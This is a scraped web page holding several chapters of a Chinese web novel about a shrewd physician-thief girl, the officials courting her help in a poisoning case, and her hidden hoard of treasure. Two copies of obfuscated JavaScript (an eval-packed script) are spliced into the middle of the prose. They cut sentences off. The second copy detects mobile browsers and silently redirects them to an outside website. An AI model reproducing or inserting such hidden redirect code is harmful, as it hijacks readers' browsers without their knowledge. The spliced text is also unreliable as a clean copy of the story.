“功法给你,铜钱我收走了。”陆衔霜捻着变形的铜钱轻笑,前所未有的认真,将当年爹爹告诉她的话转述给陆鹏:“记住,轻功不是用来逃命的……”话音未落,院外突然传来砰砰敲门声,“是教你堂堂正正走进别人设的局。有客人来了,去开门吧。” 陆鹏抱着《踏雪无痕》跌坐在地,浑身都疼,脸上却带着笑,虽然他怎么也想不通手里的铜钱是怎么脱手而出,又是怎么到了师父手中的,但是都不重要,这样更显得师父厉害不是吗。 历经千幸万苦拜师,如今好不容易走完拜师仪轨,如果失败在最后一哆嗦上面,他觉得自己可以转身投河算了,活着也是浪费粮食。 好在好事多磨,如今一切皆都圆满。 就是谁这么没礼貌大清早上门啊。 陆鹏一瘸一拐走去大门口,开门的一瞬间,原本脸上的警惕在看到来人的时候一扫而空,立马热情起来,顺手结果对方手里的东西,迎着人往里头走,“七爷,您说您来就来吧,怎么还带这么多东西。”有点礼貌,但是不多。 杜七杀……说这话的时候你要不要先把脸上的笑收起来,拎东西的手也别攥的那么紧,显得人挺虚伪。 虽然话是这么说,但如果当事人是他自己,肯定会拒绝,但七爷是来间自家师父的,他算哪根葱,还能替师父开口拒绝,客套一下就行了呗。 “你这是和陆捕快联系上了?”杜七杀死活想不通陆鹏一个中年男人能和陆衔霜一个小姑娘有什么焦急,还需要借着给自己卖好的机会给陆衔霜捎话,谁料一下秒就被他嘴里的称呼开了眼。 只听陆鹏当即反驳:“七爷,我师父现在已经不是衙门的捕快了,您可不能这么称呼啦。”语气挺克制,杜七杀估摸着自己是他贵人的缘故。 只是,师父? 杜七杀猛地停下脚步,两人已经走到门口了,他突然拽着陆鹏的袖子往旁边去,陆鹏手里还拎着东西,挣扎不掉,只能被迫跟上去,“七爷,您这是?” “不儿,陆衔霜是你师父,你俩都姓陆,可这年龄也对不上啊。”以杜七杀多年的眼力劲来看,陆衔霜的医毒别树一帜,是打小的功夫,陆鹏都这么大年纪,拜师能行吗? 心灰意冷、退离官场、教会徒弟、隐居山林,大人的毒还没解,一时之间杜七杀脑洞大开,顾不得和陆鹏八卦,转身拔腿朝屋里跑去,边跑边叫陆神医,看的陆鹏一愣一愣,七爷闹这一出这是拿自己开涮? 同时也松了一口气,幸亏他没再继续问下去,不然没和师父提前对好话术,总不能说自己是盗门弟子吧。 陆衔霜浑身好像没有骨头一样斜斜靠在罗汉榻上吃朝食,炕桌上满满当当摆了一桌子,杜七杀一进来就看见她懒洋洋喝着酒,刚坐下,一碗酒便推了过来,呷了一口,辣的吐舌头,“大清早就喝烧刀子?” 视线在炕桌上扫视,不由得咂舌,这师徒俩别的不说,嘴上这一道是真的会享受,瞧瞧,胡麻油饼、驴肉火烧、将卤牛肉、香辣鸭舌、热乎乎的馄饨、白嫩嫩的豆花,吃的是真好呐。 就是她哪来的这么多钱? 杜七杀困惑,杜七杀不解,但是这统统都不重要,他本来也不是为了这个来的。 恰好这会儿陆鹏拎着东西进来,还没等他开口寒暄两句,陆衔霜一个激灵坐起身,脸上终于带上一个为名“客人没有空手上门”的礼貌性笑容,十分地开心,“你看你,来就来吧,怎么还拿东西呢,这多见外。” 不愧是师徒,说的话都一样,他原本还以为双方需要推拒一番,谁知道陆衔霜连看都没看,就指挥陆鹏:“放暗门里面的架子上就好。” 杜七杀……虚伪。 “你这是什么表情?”陆衔霜一回头就看见他一脸难以言喻,金线甩出来跃跃欲试:“便秘啦?我给你把脉。” “不用!”杜七杀冷声冷气,告诉自己高人都有一套自己的生活习惯,和正常人不一样,不和她一般见识。 “哈哈哈哈,看你,一个玩笑罢了竟然还当真。”陆衔霜喝了一碗酒感觉身子十分爽利,歪着头正好看见杜七杀的耳朵在朝阳的照耀下红彤彤又蒙着一层金光,她视线停留一会,发现杜七杀坐立难安,时不时看陆鹏两眼,想让他说两句,偏生陆鹏该精明的时候反而憨厚起来,一句话都不说,反而愣愣看回去。 师父在场,哪有他说话的余地呢。 杜七杀也没想到会是这么一个情况,来之前还猜测陆衔霜应该会和自己吐槽谢清晏那个笑面虎,他都打好草稿了,结果从进门到现在,陆衔霜别说谩骂,人家连问都没问一句。 他余光瞥见陆衔霜斜靠着一碗接一碗喝酒,转眼一坛烧刀子空了,她的眼神依旧十分清明,无聊的像个老者坐在田边发呆。 两人谁也没开口,陆鹏在师父的示意下拿着朝食到一旁吃,吃完出去练功。 杜七杀视线在屋内扫视,刚要夸赞一句陆衔霜会生活缓解尴尬,鼻尖掠过一缕龙涎香,突然就愣住了。 再走动间细细看去,简直是惊涛骇浪都不足以言表。 院子外表和周围邻居的房子没有任何区别,进来才发觉别有洞天。 几间青瓦房看似朴素,檐角却压着整块汉白玉雕的螭吻。 正厅只摆一张紫檀翘头案,案上粗陶瓶里斜插几枝枯梅——那陶是前朝官窑的雨过天青釉,梅枝则是雷劈过的百年龙游梅。 左手卧房千工拔步床上歪歪斜斜挂着半旧青纱帐,细看帐角金线绣着双龙戏珠的暗纹。 右手书房更显蹊障,黄花梨书架竟用整块海黄挖成,架上摆着几册手抄《金刚经》,砚台中墨里头掺着金粉。 杜七杀当即暗啐一声装模作样,那经书不一定是谁抄的。 杜七杀的刀鞘无意碰倒砚台,露出书架后一道暗痕。 指节轻叩三下,之前陆鹏能进去的暗门却是纹丝不动——练家子,老江湖。 通常这样的装扮在朝中世家大族当家人的书房常见,但这个东西放在乡野一个十六岁小姑娘身上,就显得冗余且滑稽。 怎么看都像过家家,但只要一想到她的医术,又什么都觉得正常了,可能里面是行医治病用的工具呗,杜七杀安慰自己。 “怎么着,咱七爷视察完了?视察出什么不规矩的地方没有。” 陆衔霜自顾自喝酒,给他换了一盏茶,语气调侃,眸色不明。 杜七杀摸了摸鼻子嘿嘿一笑:“说什么视察,今天过来看看你,你怎么说,真不当捕快啦?” “呦,还试探呢?从进门到现在,你是一句实话都没说。”陆衔霜没忍住耸肩笑了一下,杜七杀是怎么忍住半句不提崔青锋的。 眼看被她识破,也不拖着了,干脆挑明:“大人的毒您还会出手帮忙吗?” 看看,这就是说话的医术,不得不说这一刻陆衔霜十分舒坦。 七爷这个态度的转变非常迅速,话锋一转已经改成称呼她为“您”了,这是什么样的精神?这是能屈能伸识时务的精神,这是对盗圣鬼医认可的精神,这是见风使舵立场分明的精神! 陆衔霜暗爽,没有说话,杜七杀顿时急了,还以为她真的撒手不管,立马和她站在同一条战线说谢清晏坏话。 “谢清晏那个笑面虎就是有文官的臭毛病,明明当场能拍板的事情非要墨迹好几个回合,互相来往试探,权衡利弊,屁用没有,纯粹费时间。” 反正敌人的敌人就是朋友,他今天过来就是为了得到陆衔霜会答应救治大人和梅花的准话,既然骂一骂谢清晏就能达到目的,那么谢清晏以后就是杜七杀的敌人。 至于得罪他? 笑话,咱背后有人,不怕! 陆衔霜听的很爽,正喜滋滋和杜七杀碰杯,忽然听见陆鹏停下训练,皱了下眉,然后就听他说谢清晏来了。 陆衔霜下意识放下酒杯起身,杜七杀暗道不好,赶紧把她拦住,“你不会看上他那张脸了吧?我跟你他年纪一大把有老婆有孩子,配不上你。” 交易还没达成,你光听我说好话了,却还没答应。这可不行,再一想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“反正不是抓你。”杜七杀一顿,猛地看向陆衔霜:“也说不准,反正权利嘛,人家想要你干嘛,你不干,然后往你头上套一个莫须有的罪名,再来你面前似是而非说一通,帮你把罪名消除,一来一回,可不就欠了人情,留下把柄啦。” 杜七杀表示这套他熟,见过别人用过几次,每次那些人还感激涕零,真感激还是假感激他不知道,但把柄被捏在手里是真的。 陆衔霜眉头一跳,觉得不至于,但又忍不住顺着他的话往深处想。 不想还不要紧,一想吧,怎么看谢清晏就觉得他不是个好东西。 被二人腹诽的谢清晏正端坐在马车内,忽然打了个喷嚏,掀开帘子就和不知何时站在门口的二人对视。 见他俩看着马车这边一会皱眉,一会愤慨,也不知道在说什么,表情倒是很丰富。 纳闷问亲卫:“陆衔霜是被杜七杀那个傻子带的也没脑子了吗?” 中所周子崔青锋身边有两个光有武力不长脑子的亲卫,是他当年还小的时候跟随父亲赈灾时从灾民中捡到的两个小孩,当时杜七杀和梅花虚弱的只剩一口气,被灾民围着马上就要被吃掉,是小小的崔青锋扛着食物突然出现,救了灾民,也救了他俩。 至此之后他俩就被带着跟在崔青锋身边,同样的老师,同样的教学,偏偏他俩的脑子好像跑到崔青锋身上一样,被骗简直是家常便饭,就连崔青锋长大之后进入刑部,他俩但凡离开,就会被骗,屡试不爽。 谢清晏有时候还纳闷呢,明明杜七杀长了一张威严的脸,骗子是怎么在黑漆漆的面皮下面扒拉出那颗纯洁的心。 偏偏他不觉得,每次面对梅花时还要装大半蒜,显得自己多智珠在握一样。 感觉到侍卫的无语,谢清晏以为他和自己感同身受,不由得叹了一句:“如果陆衔霜真的被杜七杀那个夯货传染,对我来说也算是一件幸事。”说着起身弹了弹并不存在灰尘的衣摆,扶着侍卫伸过来的胳膊踩在专用脚踏上走了下去。 侍卫低头嘴角抽动,大人呦,陆衔霜怀疑你要做局阴她,你现在在她眼里就是个阴险狡诈的小人。 “来了,看看他这架势,屈尊降贵到我这破屋子,这一套装扮下来是不是寒颤我呢?”陆衔霜和杜七杀对视良久,两人同款舌头抵着腮内软肉,翻了一个大白眼。 下马车还得被人给放脚踏才能下来,怎么着,那点高度还怕摔瘸了吗? “你去,这是你家。”杜七杀小声催促。 陆衔霜瞪了他一眼,转身往院门走两步停住,算是意思的迎接一下富安府的天老爷。 谢清晏看着迎面而来满脸写满不情愿的小丫头,立马窃喜起来,这就是权利,你再不原乐意,还不是要捏着鼻子要迎接本大老爷! 可惜高兴还没有维持多久,就被陆衔霜阴阳怪气的话气的恨不得挥袖愤离。 11. 第 11 章 谢清晏脸上噙着笑,在看到杜七杀和陆衔霜分列两旁等他先行的时候更加自得,结果人还没进屋,刚把脚抬起来,就听见耳边传来一声凉飕飕的冷笑。 “呦,这不是咱们得青天大老爷谢大人吗,您这踏足贱地的靴子,可别沾了我这破门槛的灰,不然耽搁您的通天大路,我这个贫民老百姓可耽搁不起。” 陆衔霜斜斜靠在门框上,指尖捻着一颗花生米往高处抛然后再用嘴接住,紫色外袍松松垮垮披在身上,在暗处好似脏污一般的阴影,被日光一照,便浮现出一出万里江山图的轮廓。 这副江湖中人混不吝的毫无任何秩序可言的流氓样,实在令谢清晏难以直视。 只有短短一天,究竟发生了什么,让她的变化堪称上天入地。 一定是杜七杀这个莽夫。 之前就算孩子闹脾气,撂挑子不干的时候都很有礼貌,现在说话这么不客气,肯定是杜七杀这个夯货说自己坏话。 谢清晏喜滋滋的嘴角倏地抿成一条直线,装作没听见,脚步不停瞪了杜七杀一眼,略过他走进去。 站在待客的厅堂目光漫不经心扫视一圈,而后瞳孔陡然一缩。 如果没看错的话,墙角灰扑扑的博古架是花梨吧?博古架上面随手扔的几个上了年代的古董,好像随手扔了两块不值钱的石头 窗下竹榻铺着粗麻垫,细看却是用藕丝织成的垫布。 这就是陆衔霜嘴里的清贫?关键是她哪来这么多钱,孩子还这么小,总不可能从前就一直给人看病吧。 有一肚子话想问,又知道问出来要被怼,只能憋得自己生气,之后看到杜七杀和陆衔霜结伴走进来,同时还小声嘀嘀咕咕说些什么,十分不稳重,就更气了。 “过来!”带着威严的话甫一出口,陆衔霜和杜七杀下意识小脸一板,乖巧上前。 走到一半,陆衔霜突然反应过来,不对呀,这里是她家,谢清晏凭什么装大半蒜,当即停在原地双手抱在胸前,伸出去一只脚,歪着头吊儿郎当冲着谢清晏扯起一侧嘴角:“呦,青天大老爷大清早跑到平头百姓家里耍威风呢,用不用小的去衙门击鼓鸣冤,让您是不是再现场升个堂?” 阴阳怪气的话一出口,每一只眼睛的视线都朝她看过来,杜七杀上唇连带着一半人中疯狂抖动,身子微微斜过去一点,在谢清晏看不见的角度给她竖起大拇指:厉害! 年纪小就是好啊,别的不说,勇气这一块就值得颁给她一个魁首。 谢清晏有点头疼,他很久……严格来说是从来没有遇到过这种选手,堪称肆意妄为的典范,她做事不计后果,只图当场痛快。 面对这样的小混蛋,他突然有点庆幸自己来之前快速转变情绪,没真的把她惹毛了。 到了该说正事的时候,冲着门口亲卫探进来的脑袋瞪了一眼:“忙自己的事儿去。”亲卫转身就走,又对着杜七杀横眉冷对:“说完了就回去吧,不守着你们大人了?” 杜七杀摸鼻子,眼睛看天:“那什么,刘二来了。” “我怎么不知道?”谢清晏倒吸一口凉气,猛地看向杜七杀,眼神压迫。 本来崔青锋在他治下中毒这件事情就已经很不好搞了,现在又来了一个刘二。 刘二,本名刘啸虎,那位的手边大将之一,武功高强、行事无度、荤素不忌,以陆衔霜现在所表现的作风,刘啸虎是她的加强版。 派他过来是保护人吗?明明是来报仇的。 可惜直到现在还没有抓到人,谢清晏有理由怀疑对方要么躲到了路梧州四王的手下那里,那么对方本来就是四王的人。 谢清晏生无可恋,谢清晏两眼一黑,连被人看热闹都顾不得,扬声对着门外亲卫叫了一声:“把东西拿进来。” 亲卫刚被撵出去,又被叫进来,不过看在大人即将面对一头脱缰野马的份上,乖巧应声把箱子放在地上,在陆衔霜无所谓的眼神下嘿嘿一笑,麻利打开箱子然后后退。 “卧槽!”陆衔霜和杜七杀一开始还没当回事,直到狗眼差点被晃瞎,一个迅猛扑到箱子边直接跪下了,亲卫拍拍胸脯,幸好自己推开的及时。 一箱黄金,整整一箱黄金。 陆衔霜张嘴咬了一口,牙齿一酸,吸溜着口水,在杜七杀嫌弃的眼神里立马内讧:“你那是什么眼神!”啐了他一口,转头再次免得谢清晏的时候别提多亲切。 身体力行给大家演示了一遍何为有奶就是娘,立场时刻随利益转换,毫无廉耻之心,脸皮比树皮还要厚,对着仇人也能叫……这个真不能叫爹,给多少金锭子都不能。 杜七杀傻眼了,使劲拽她袖子,低声攀关系:“之前你面对我的时候可没有这么好的态度!” “咱俩什么关系,有吗?” “肌肉强壮美男子!” “和金子没法比。”陆衔霜扒拉开他的手表示两人不熟,美男子有什么用,浪费钱,还是长官好哇,知道她一个弱女子孤苦伶仃的艰难讨生活,立马上门送温暖,这么善解人意的长官杜七杀竟然叫他笑面虎,陆衔霜不能忍,坚决维护长官的威严,一个出溜滑站在谢清晏身边做出下属的姿态,对着杜七杀就是好一顿排揎:“七爷您怎么能这么对大人说话,谢大人宰相肚里能撑船,也不是让你放肆的资本呀。” 说的这叫一个一正言辞,佞辛,绝对是佞辛,杜七杀面对这么一个无耻无礼无情无义的主,一瞬间只感觉天地茫茫白雪一片,只有他一个人踉跄走在一条名为真理的路上。 “你,你”你了半天,愣是没想起来拿刚才陆衔霜的阴阳怪气说嘴,白长了一张威严的脸。 陆衔霜才不管他,反正原本就没打算半途撒手不管崔青锋,他来送礼也是白给,转身拿了两个艾草锤站在谢清晏身后给他捶肩膀,时不时低声问一句:“大人,您看这力道如何?” “力道再重点。”谢清晏舒服地喟叹,在杜七杀憋屈的目光下轻轻挑眉,惹的他笑声骂了一句骚包。 谢清晏表示不遭人妒是庸才,早知道陆衔霜爱钱,早就拿金银砸了,想他陈郡谢氏出身,可以很平淡地说一句金银都是俗物。 “得咧,您瞧好吧。”陆衔霜废了好一把子力气把谢清晏敲得十分舒服,直接倒在罗汉榻上睡了过去。 陆衔霜踮着脚确认他睡着之后,美滋滋抱着箱子去书房里面的暗室把金子藏起来,杜七杀生气没一会就自己哄好自己,也想跟过来看看。 陆衔霜难得的心肠回来一瞬,大手一挥带着七个去藏宝库玩耍。 两人走进书房,陆衔霜手指快速在几个地方点了几下,快的杜七杀还没有看清楚,太师椅后面的一个书架自动反转,露出一道向下的暗门。 杜七杀跟在她身后赞叹:“地下别有洞天啊。”以为是一个年代经久的暗室,没成想暗室墙壁还带着泥土的腥味,建成不超过两天,他彻底无语了,再看到摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878137|176002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满暗室的金银珠宝古董字画之后,彻底失声:“这都是哪来的?”哆嗦着手指着墙上挂着一副早已失传的万里江山图,惊讶的嗓子都劈了叉。 “捡的呀,就昨天上山采药的时候捡的。”陆衔霜说谎眼睛都不眨一下,其实是上次去路梧州进货的时候顺手拿的,听那个贪官说这幅画要献给四王。 陆衔霜啐了一句狗屁,直接把真的收起来,换了一副空白的画卷放进去。 “那那个呢?”杜七杀眼睛有点发红指着墙上一角的两柄佩剑,“哦,河里捡的。”路梧州贪官送画卷往望月台去的船上,船漏了,掉进河里,她就捡走了呗。 “那是我们大人的父亲崔将军和前任威武将军,现任刑部尚书厉刑天的佩剑!” 陆衔霜正在翻动杜七杀送来的包袱中,看到满眼金银珠宝眼睛放光,突然被他的话惊得僵在原地,脑子疯狂转动,怎么办,该怎么办! “佩剑早在多年前遗失,为什么会在你这里?!”杜七杀倒是没怀疑陆衔霜或者陆林,毕竟这个暗室一看就是这几天刚做的,而且当年出事的时候陆林还只是一个小捕快。 “咳咳咳,那什么,就是路梧州嘛,那天谢大人和崔捕头不是和我说有关四王的事情嘛,你也知道的吧?” 杜七杀点头。 陆衔霜一边思考应对话术,一边半真半假说道:“我不是一时好奇嘛,昨天夜里就跑去偷看,结果发现那个知州鬼鬼祟祟和一个货船老板说话,听说要送什么东西到四王府,然后我一好奇,就偷看了一会,顺便捡了点东西呗。” 反正昨晚给陆鹏举行拜师仪轨,只要他们师徒俩把嘴闭严实了,绝对出不了问题。 至于梧桐州丢失的银子?呵呵,装满石头的箱子现在已经到了望月台,谁也不知道是她动的手。 “你确定是知州?”杜七杀眼睛通红,死死盯着陆衔霜,不放过她脸上每一个表情。 这事儿陆衔霜确实没有说话,当即点头,“确实是,既然佩剑是长辈遗失之物,那就该物归原主。” “多谢小陆。”杜七杀当下不客气,把佩剑从墙上拿下来,陆衔霜顺便从最高处拿下一个和田玉做的盒子放在他怀里,杜七杀练练摆手:“小妹我不用这个,你自己拿着玩。” 陆衔霜翻了个白眼率先往外走去,“里面有两株忘忧烬,是给催捕头和梅花解毒时候的药引,让你收集他俩的泪水混合在晨起的露珠中,就是搭配忘忧烬做药引。”顺手从角落里抽出一把刀和一个银质圆筒,刀扔到杜七杀怀里,“适合你。” 走出书房谢清晏已经醒来正坐在桌边喝茶,猛地眼前一闪,半空中扔来一个东西,亲卫突然出现挡在他身前,一把接住陆衔霜扔来的东西。 “暗器,保命的,里面有我特制的毒,关键时刻摁这里,能让你逃出生天。”陆衔霜随便指了圆筒一侧不仔细看几乎看不到的按钮,作为对谢清晏大手笔的报答。 谢清晏点头肯定她人情世故学的不错,如果再乖巧一点就更好了,不出所料得到陆衔霜的白眼,不过在看到杜七杀怀里的两柄佩剑之后他便没有心思想别的,拽着陆衔霜和杜七杀上了马车迅速回去衙门。 陆衔霜还要再挣扎,直接被谢清晏一句:月俸二十两,立马升级成正式捕快硬控,立马喜滋滋好话一箩筐奉承谢清晏,杜七杀好奇,已经很有钱了,为什么还在乎区区二十两,陆衔霜一脸你懂什么:“蚊子再小也是肉好嘛。” 12. 第 12 章 回程的马车上谢清晏脸色苦巴巴的,像个被恶婆婆磋磨了几十年的沧桑中年妇人,原本白皙的脸都染上一抹蜡黄,陆衔霜不由得好奇:“那个刘二什么来头,还能把你这陈郡谢氏唬住?” 要知道陈郡谢氏这种世家大族底蕴十分深厚,虽然经过几个朝代的皇权更迭与打压,已经大不如从前,但瘦死的骆驼比马大,皇帝都能换人,他们依旧屹立不朽,这可不是寻常人家能够做到的。 一个刘二,竟然能把人愁这个地步,笑面虎都笑不出来,这可不多见呐。 陆衔霜好奇极了。 同时更让她好奇的人还有叶青锋,那个一看就十分朴素的叶捕头,有亲卫不说,中毒之后望月台还有人赶来,要说是他的父亲叶将军的能量,陆衔霜是不信的。 能让谢清晏这样家世都忌惮的人物,除了本身性子很有趣之外,背景也同样重要。 谢清晏小猫洗脸,面对杜七杀噙着笑意的脸有点恼羞成怒:“人是他找来的,你问他不就得了嘛。”陆衔霜顺着他的指着的方向看去,只见杜七杀浑身上下洋溢着一股名为“靠山终于来了,我总算能松一口气的”喜悦。 他知道他的脑子不灵光,要不然也不会干出轻易被人调虎离山,从而导致大人和梅花中毒的蠢事。 虽然当时那么说梅花,又何尝不是在说他自己。 如今能做主的人终于来了,杜七杀简直要留下感动的泪水,刘二,以后你就是我的神! 看他的样子,陆衔霜更好奇了,撞了撞杜七杀的肩膀:“七哥,这个刘二什么来头,跟咱叶捕头什么关系啊?” 杜七杀刚要说,想到这事儿到底还没有砸瓦实,想了想,比较委婉:“刘二是大人未婚妻的属下,但是婚事还没有完全定下来,我也不好和你说太多,万一这其中有什么差错,耽误那位的名声就不好了。” 如今皇帝老儿在很艰难地平衡各方势力,各家婚事也成了他手里的筹码,大家不敢轻举妄动,老皇帝也互相给个面子,就次僵持着。 遗憾的是现在储君不稳,一切还有待商榷,谁知道以后会是什么样,故而他不敢乱说坏了女方名声。 当然了,杜七杀当然希望大人能够和未婚妻喜结连理,不光是他,叶青锋身边的所有人都希望他能够和未婚妻有情人终成眷属。 “哦哦哦。”陆衔霜连连点头表示理解,虽然她不介意,但也知道世家贵女一举一动都有特别的意义,也没有打破砂锅问到底的意思,只是突然知道这件事情,很是兴奋:“叶捕头这次中毒,那位小娘子很快就派人过来,岂不是感情很好的样子!”说着拍了拍杜七杀的肩膀安慰他:“七哥你放心,他们一定能在一起,如果不行的话,我替叶捕头去抢亲!” 未婚夫中毒之后立马派人过来,这么好的小娘子,她陆衔霜绝对不允许有人因为利益而破坏这一段感情。 她,陆衔霜,爱情保安! 从前偷了那么多东西,日后偷一次人,也不是很难的事情嘛。 杜七杀当场笑了,和陆衔霜砰砰拳头:“借你吉言,大人和夫人的事情彻底定下来之后,我带你去喝喜酒。” “一言为定!” 两人聊的热火朝天,完全没注意到谢清晏满脸一言难尽,他只觉得往后的日子是真的难熬,已经陆衔霜和杜七杀还不够,又送来一个完全不受控制的刘啸虎。 谢清晏两眼一黑,靠在垫子上生无可恋,直到马车停在衙门门口,帘子被掀开,露出一张笑意明媚的脸,小虎牙十分夺人眼球。 “谢大人快下来,聚贤楼的饭菜已经送来了,就等你们几个就能开放了。” 谢清晏扯了扯嘴角,抹了把脸,余光看到陆衔霜偷笑呢,冷笑一声。 下一秒刘啸虎就对着陆衔霜热情洋溢起来,“这位就是传说中的鬼医陆捕快吧?今日一见真是三生有幸。”说着自顾自捧起陆衔霜的手,已经用力上下晃悠,说着话手往旁边一伸,拿到一个匣子直接往陆衔霜手里塞:“来之前主子吩咐了,这是特意给您带的一点礼物,小小意思一下,不成敬意,就当交个朋友。” 嘴巴上下开合,话是真的密,陆衔霜听他说话都没敢呼吸,总觉得再说两句他能厥过去。 这人的性子也太……目光死死黏在刘啸虎打开的匣子里面。 檀木匣子刚启开一线缝隙,陆衔霜就觉得马车里亮堂不少。 金丝累丝攒成的牡丹步摇上缀着十二颗南海明珠,刘二拿着步摇在日头下这么一晃,那珠光便如星河倾泻,在陆衔霜眼底缓缓流淌。 要数最夺目的还是正中的金累丝嵌红宝凤冠,凤凰羽翼以金丝绞出细若发丝的纹理,每片羽毛末端都悬着水滴状的鸽血红,以陆衔霜久经宝贝的眼光来看,这东西值大钱啦! 两侧对称垂下的点翠流苏,用的是孔雀翎羽浸染的秘色琉璃,碰撞时竟有碎玉般的清响。 匣底还压着对赤金嵌翡翠的耳珰,那翡翠通透得能瞧见里头游丝般的金线,先不管什么春日柳梢的晨光,她就知道这玩意儿值钱。 之前还觉得刘啸虎嘴碎呢,在真金白银下,陆衔霜脸上立马扬起同款热情洋溢的笑容,反握住刘二的手:“二哥你太客气了,还有嫂子也是见外,救叶捕头那是我这个当属下分内的事情,哪里当得了这么贵重的礼物,搞得我都不好意思了。” 话说那叫一个情真意切,看的杜七杀和谢清晏一愣一愣,唯有刘啸虎全程面不改色,和陆衔霜相携着往衙门里走去,话题如同崩腾的野马一发不可收拾,已经聊到叶捕头和嫂夫人成亲的时候,他们要送什么礼的阶段。 谢清晏呆滞的看着他们二人的背影消失在眼前,随着他俩的离去,一同带走的还有几百只鸭子,耳边前所未有的情景。 这一刻他不得不承认,之前面对陆衔霜是他托大太片面,能和刘啸虎那厮一个见面就称兄道弟,能是普通人吗? 要知道只有亲身经历过刘啸虎荼毒,并且成功活下来的人,才有评价他行事作风的资格。 谢清晏自认为自己没能完全承受,每次也跟不上他的脑洞,不是一个能够被刘啸虎灵验对待的人才。 但是今天,就在刚刚,瞧他看见了什么,陆衔霜竟然只有一瞬间的错愕,在看到头面华贵之后立马改口,已经能够握着刘啸虎的手亲切称呼他二哥,这得是个什么精神。 他不懂,他大为震撼。 别说谢清晏,就连杜七杀都没想到,指着陆衔霜和刘啸虎离开的方向呆呆问了一句:“小陆不是说不用破费么,为什么捏着匣子的手那么紧。” 他之前以为陆衔霜的虚伪这是对于自己这个还算熟悉的人,谁知道还是见识少,她真的能在第一次认识的人面前空口白牙胡说八道毫不脸红。 “走吧,去晚了他俩能给咱俩留个空盘子。 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谢清晏摆摆手示意杜七杀把抱着酒坛叫嚷着还要继续和的刘二带下去,走到门口低声告诉陆衔霜:“贾连城是在我们的人追捕中,被暗处射来的毒箭所杀。” “所以根本没有凶手一说。”哪里有凶手,在场的全是政敌好吧。 谢清晏点头:“确实如此,贾连城的死一点都不重要,重要的是他究竟和路梧州那边有什么来往,我们现在唯一能够探查的方向只能从贾夫人那里入手。” “人家叫谢蓁。”陆衔霜反驳他。 谢清晏一愣:“我记得贾夫人名字叫叶蓁吧?” “你们男人最干的就是三代还宗。”陆衔霜随意摆手转身就走,留下谢清晏一个人在原地嘟囔自己不是上门女婿。 她去班房找陈明,得知对方去下属县里查案,干脆一个人骑马去谢蓁府上,一路上思考这其中的关系,顺便吐槽一句叶老爷子到头来一场空,人家叶蓁现在以谢姓自居,好像从来没有过他这个爹一样。 陆衔霜站在谢宅门前,望着新换的匾额,唇角微不可察地扬了扬。随着引路的下人穿过回廊,刚到正厅门口,便听见里头传来碗筷轻碰的声响,夹杂着孩童清脆的笑声。 厅内,谢蓁正夹了一筷子清蒸鲈鱼放进桃花碗里,温声道:“多吃些,你这两日气色不好。”桃花刚要推辞,抬眼却瞧见了站在门边的陆衔霜,顿时局促地站起身:“陆、陆大人……” 谢蓁回头,见是陆衔霜,急忙起身相迎:“陆大人来得不巧,我们正用饭呢。若不嫌弃粗茶淡饭,不如一起?” 陆衔霜目光在三人之间扫过,最后落在谢蓁身旁那粉雕玉琢的小女孩脸上,眸色深了深,似笑非笑:“如果这样都是粗茶淡饭,那我平日里吃的岂不是猪食?谢夫人和这位姨娘,倒是好兴致呐。” 谢蓁挑眉,不意外她竟然这么快知道,想到之后的事情,还不等她软了语气,桃花已经抢先开口恭维:“陆大人查案辛苦,连顿饭都顾不上吃,真是令人敬佩。” 陆衔霜不接她话茬,只道:“谢夫人名字都没有改回去,就换了府邸牌匾,想必是还有后手?” 谢蓁慢条斯理地擦了擦手,示意桃花别出声,抬眼直视她:“陆大人既然猜到了,又何必多问?” “你可别说你的后手就是我。”陆衔霜也没想到自己竟然在还不知道的时候就被人算计。 13. 第 13 章 “陆大人除暴安良,仁人志士,您自然是所有百姓的退路。”谢蓁敏锐的发现陆衔霜的情绪突然变得很不好,垂下眼皮,漫不经心接过桃花奉上来的茶呷了一口,心底一跳,急忙收起这段时间所有的得意,拿出生意场上的圆滑。 谢蓁指尖无意识地摩挲着青瓷茶盏的冰裂纹,她突然想起陆衔霜之前进屋的时候踏过嵌银丝的青石板,靴尖踢起袍角时,露出内衬一闪而过的云锦暗纹——这种寸锦寸金的料子,竟被她随意裁作里衣。 谢蓁不能说自己是全国排得上号的商人,但在富安府,她的宅子也算是有名的富贵,但是自从陆捕快进来之后,除了一开始在屋子里扫视一圈,或许是她的职业的习惯之外,她眼底从头到尾便再没有停留,连惊叹都不曾有。 最有趣的是她瞥见多宝阁上那尊前朝官窑瓷瓶时睫毛都没颤一下,反倒对墙角那盆半枯的绿萼梅多看了两眼。 “这紫檀屏风是南边来的。”叶蓁故意用鞋尖点了点地面,金砖立刻发出清越的回响。 不出所料,陆衔霜却只顾低头翻看案卷,没有任何在意或者说垂涎。 捕快这个职业月俸不多,大多数时候他们也会在不耽搁案情的前提下收一些孝敬,这是大家约定俗成的规矩。 就连上次陈明上门询问的时候,也收了谢蓁一些孝敬,只有陆衔霜面对下人塞过去的荷包笑了一下,没有伸手。 低头的时候露出发间的簪子——谢蓁心脏微沉,突然认出那金线累丝攒成的牡丹步摇上缀着十二颗南海明珠,这个东西除了望月台皇宫之外,没有人敢拿的出手! 茶壶在炉子上烧着,女童被桃花抱在怀里,两人被谢蓁挡的严严实实,室内一片寂静,除了偶尔陆衔霜手中翻动案宗的声音之外再无其他。 桃花数次想张口,都被谢蓁摇头制止,现在不论她之前和那个小偷陆鹏是什么关系,陆鹏又究竟和陆捕快是否认识,现在的陆捕快却是她们惹不起的存在。 